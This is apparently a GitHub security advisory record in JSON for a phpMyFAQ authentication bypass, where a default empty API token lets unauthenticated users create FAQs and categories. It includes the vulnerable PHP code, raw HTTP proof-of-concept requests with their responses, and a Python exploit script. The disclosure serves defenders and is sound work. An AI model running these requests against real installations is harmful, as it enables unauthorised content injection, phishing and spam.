{"id":"GHSA-gp95-j463-vv28","summary":"phpMyFAQ: Default Empty API Token Authentication Bypass","details":"### Summary\n\nA default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds `api.apiClientToken` with an empty string, and the `hasValidToken()` comparison logic cannot distinguish between \"no token configured\" and \"attacker sent a matching empty token header.\"\n\n### Details\n\nThe root cause is in two files:\n\n**1. Installation default** (`src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php`, line 277-278):\n\n```php\n'api.enableAccess'   =\u003e 'true',\n'api.apiClientToken' =\u003e '',       // ← defaults to empty string\n```\n\n**2. Authentication check** (`src/phpMyFAQ/Controller/AbstractController.php`, line 198-204):\n\n```php\nprotected function hasValidToken(): void\n{\n    $request = Request::createFromGlobals();\n    if ($this-\u003econfiguration-\u003eget('api.apiClientToken') !== $request-\u003eheaders-\u003eget('x-pmf-token')) {\n        throw new UnauthorizedHttpException('\"x-pmf-token\" is not valid.');\n    }\n}\n```\n\nThe method uses strict inequality (`!==`). When `api.apiClientToken` is `''` (default) and the attacker sends `x-pmf-token: ` (empty header value), the comparison becomes `'' !== ''` which evaluates to `false` — no exception is thrown, and authentication is completely bypassed.\n\nThe OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged `'Endpoints with Authentication'` and document HTTP 401 responses, while read-only endpoints are tagged `'Public Endpoints'`.\n\nThe following API endpoints call `$this-\u003ehasValidToken()` as their only authentication check:\n\n| File                                                    | Endpoint               | Method |\n| ------------------------------------------------------- | ---------------------- | ------ |\n| `src/.../Controller/Api/FaqController.php:701-703`      | `/api/v4.0/faq/create` | `POST` |\n| `src/.../Controller/Api/FaqController.php:857-859`      | `/api/v4.0/faq/update` | `PUT`  |\n| `src/.../Controller/Api/CategoryController.php:278-280` | `/api/v4.0/category`   | `POST` |\n| `src/.../Controller/Api/QuestionController.php:89-91`   | `/api/v4.0/question`   | `POST` |\n\n### PoC\n\n**Environment**: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.\n\n**Step 1 — Verify that requests without auth header are correctly rejected:**\n\n```http\nPOST /api/v4.0/faq/create HTTP/1.1\nHost: \u003ctarget\u003e\nContent-Type: application/json\n\n{\n    \"language\": \"en\",\n    \"category-id\": 1,\n    \"question\": \"Test Question\",\n    \"answer\": \"Test Answer\",\n    \"keywords\": \"test\",\n    \"author\": \"test\",\n    \"email\": \"test@test.com\",\n    \"is-active\": true,\n    \"is-sticky\": false\n}\n```\n\nResponse (HTTP 401 — correctly blocked):\n\n```json\n{\"type\":\".../problems/unauthorized\",\"title\":\"Unauthorized\",\"status\":401,\"detail\":\"Unauthorized access.\",\"instance\":\"/v4.0/faq/create\"}\n```\n\n**Step 2 — Send the same request with an empty `x-pmf-token` header:**\n\n```http\nPOST /api/v4.0/faq/create HTTP/1.1\nHost: \u003ctarget\u003e\nContent-Type: application/json\nx-pmf-token: \n\n{\n    \"language\": \"en\",\n    \"category-id\": 1,\n    \"question\": \"[POC] Authentication Bypass Confirmed\",\n    \"answer\": \"This FAQ was created without any valid authentication token.\",\n    \"keywords\": \"poc,bypass\",\n    \"author\": \"Security Researcher\",\n    \"email\": \"researcher@example.com\",\n    \"is-active\": true,\n    \"is-sticky\": false\n}\n```\n\nResponse (HTTP 201 — bypass confirmed):\n\n```json\n{\"stored\": true}\n```\n\n**Step 3 — Category creation via the same bypass:**\n\n```http\nPOST /api/v4.0/category HTTP/1.1\nHost: \u003ctarget\u003e\nContent-Type: application/json\nx-pmf-token: \n\n{\n    \"language\": \"en\",\n    \"parent-id\": 0,\n    \"category-name\": \"POC_Category\",\n    \"description\": \"Category created via empty token bypass\",\n    \"user-id\": 1,\n    \"group-id\": -1,\n    \"is-active\": true,\n    \"show-on-homepage\": true\n}\n```\n\nResponse (HTTP 201):\n\n```json\n{\"stored\": true}\n```\n\n**Step 4 — Verify injected content is publicly visible:**\n\n```http\nGET /api/v4.0/faqs/1 HTTP/1.1\nHost: \u003ctarget\u003e\n```\n\nResponse (HTTP 200 — injected FAQ publicly exposed):\n\n```json\n[{\"record_id\":1,\"record_lang\":\"en\",\"category_id\":1,\"record_title\":\"[POC] Authentication Bypass Confirmed\",\"record_preview\":\"This FAQ was created without any valid authentication token. ...\"}]\n```\n\n**PoC with Python (urllib — no external dependencies):**\n\n```python\nimport urllib.request, json\n\nTARGET = \"http://\u003ctarget\u003e\"\nHEADERS = {\"Content-Type\": \"application/json\", \"x-pmf-token\": \"\"}\n\n# Create FAQ via empty token bypass\ndata = json.dumps({\n    \"language\": \"en\", \"category-id\": 1,\n    \"question\": \"[POC] Auth Bypass\", \"answer\": \"Created via bypass.\",\n    \"keywords\": \"poc\", \"author\": \"R\", \"email\": \"r@t.com\",\n    \"is-active\": True, \"is-sticky\": False\n}).encode()\nreq = urllib.request.Request(f\"{TARGET}/api/v4.0/faq/create\", data=data, headers=HEADERS, method=\"POST\")\nresp = urllib.request.urlopen(req)\nprint(f\"Status: {resp.status}\")  # 201 — bypass successful\n```\n\n**Overlap Summary:**\n\n| Test                | x-pmf-token    | HTTP Status      | Result                     |\n| ------------------- | -------------- | ---------------- | -------------------------- |\n| No auth header      | *(not sent)*   | 401 Unauthorized | 🔒 Correctly blocked        |\n| Empty token header  | `\"\"`           | **201 Created**  | 🔓 Bypass confirmed         |\n| Category creation   | `\"\"`           | **201 Created**  | 🔓 Bypass confirmed         |\n| Public verification | *(not needed)* | 200 OK           | 📄 Injected content visible |\n\n### Impact\n\nThis is an **authentication bypass (CWE-1188)** affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token — which is the **default state after installation**.\n\n- **Who is impacted?** Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist — it is the out-of-the-box state.\n- **What can an attacker do?** Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base.\n- **What is NOT affected?** Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.","aliases":["CVE-2026-35672"],"modified":"2026-09-10T03:51:05.842343780Z","published":"2026-05-20T15:46:42Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-05-20T15:46:42Z","nvd_published_at":"2026-05-28T16:16:21Z","cwe_ids":["CWE-1188"]},"references":[{"type":"WEB","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gp95-j463-vv28"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35672"},{"type":"PACKAGE","url":"https://github.com/thorsten/phpMyFAQ"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/phpmyfaq-authentication-bypass-via-empty-api-token"}],"affected":[{"package":{"name":"thorsten/phpmyfaq","ecosystem":"Packagist","purl":"pkg:composer/thorsten/phpmyfaq"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.3"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2","4.1.1","4.1.2"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.1.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-gp95-j463-vv28/GHSA-gp95-j463-vv28.json"}},{"package":{"name":"phpmyfaq/phpmyfaq","ecosystem":"Packagist","purl":"pkg:composer/phpmyfaq/phpmyfaq"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.3"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2","4.1.1","4.1.2"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.1.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-gp95-j463-vv28/GHSA-gp95-j463-vv28.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}]}